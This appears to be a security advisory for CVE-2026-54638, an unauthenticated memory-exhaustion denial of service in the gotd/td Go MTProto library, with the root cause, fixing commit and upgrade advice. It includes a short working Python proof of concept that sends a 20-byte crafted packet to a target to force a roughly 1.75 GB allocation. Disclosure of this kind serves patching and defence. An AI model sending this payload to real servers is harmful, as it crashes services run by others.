CVE-2026-54638: gotd/td Pre-Auth Denial of Service via Unbounded Memory Allocation
A remote, unauthenticated attacker can crash a gotd/td server by sending a tiny crafted MTProto packet that tricks the library into allocating gigabytes of memory before it checks whether the data is…

The problem
In versions of github.com/gotd/td before 0.145.1, the (*proto.UnencryptedMessage).Decode method reads a 32-bit dataLen field from the incoming packet and immediately calls make([]byte, dataLen) to allocate a buffer of that size.
No validation is done first to confirm the underlying buffer actually contains that many bytes. Because unencrypted messages are processed during the unauthenticated MTProto handshake, any remote peer, with no credentials, can trigger this path and force multi-gigabyte heap allocations, leading to CPU and GC pressure or outright OOM termination.
Proof of concept
A working proof-of-concept for CVE-2026-54638 in github.com/gotd/td, with the exact payload below.
# Minimal crafted MTProto unencrypted-message packet (20 bytes total)
# Field layout (little-endian):
# auth_key_id (8 bytes) = 0x00 (signals unencrypted)
# message_id (8 bytes) = arbitrary
# message_data_len (4 bytes) = 0x70000000 (~1.75 GB)
# <no payload bytes follow>
import socket, struct
# Connect to a gotd/td MTProto endpoint
sock = socket.create_connection(("TARGET", 443))
auth_key_id = b"\x00" * 8 # unencrypted path
message_id = b"\x00" * 8 # arbitrary
data_len = struct.pack("<I", 0x70000000) # 1,879,048,192 bytes declared
packet = auth_key_id + message_id + data_len # 20 bytes; no payload body
sock.send(packet)The root cause (CWE-789, Memory Allocation with Excessive Size Value, and CWE-770, Allocation of Resources Without Limits or Throttling) is a missing pre-allocation bounds check. The decoder trusts the attacker-supplied 32-bit dataLen field and calls make([]byte, dataLen), forcing the Go runtime to zero-initialize up to ~1.75 GB of heap memory per packet before the subsequent length check can reject the frame.
Commit 9d5d1f31e fixes this by comparing dataLen against the number of bytes remaining in the buffer before calling make. If dataLen exceeds available bytes, an error is returned immediately and no allocation occurs.
The fix
Upgrade github.com/gotd/td to v0.145.1 or later. The patch is in commit 9d5d1f31ea5022d9798d84ccce15de2e91ba6baa. There is no in-process workaround for affected versions; the only mitigation short of upgrading is to prevent untrusted peers from reaching the MTProto handshake port at the network level.
Related research
- highCVE-2026-54448CVE-2026-54448: Trivy Helm Chart Tar Bomb OOM via Unbounded io.ReadAll
- highetcd tlsListener Unbounded TLS Handshake Goroutine DoS
- highgRPC-Go: xDS RBAC Authorization Bypass, HTTP/2 Rapid Reset DoS, and NOT-Rule Panic
- high · 7.5CVE-2026-50274CVE-2026-50274: dd-trace-go Unbounded W3C Baggage Header Parsing DoS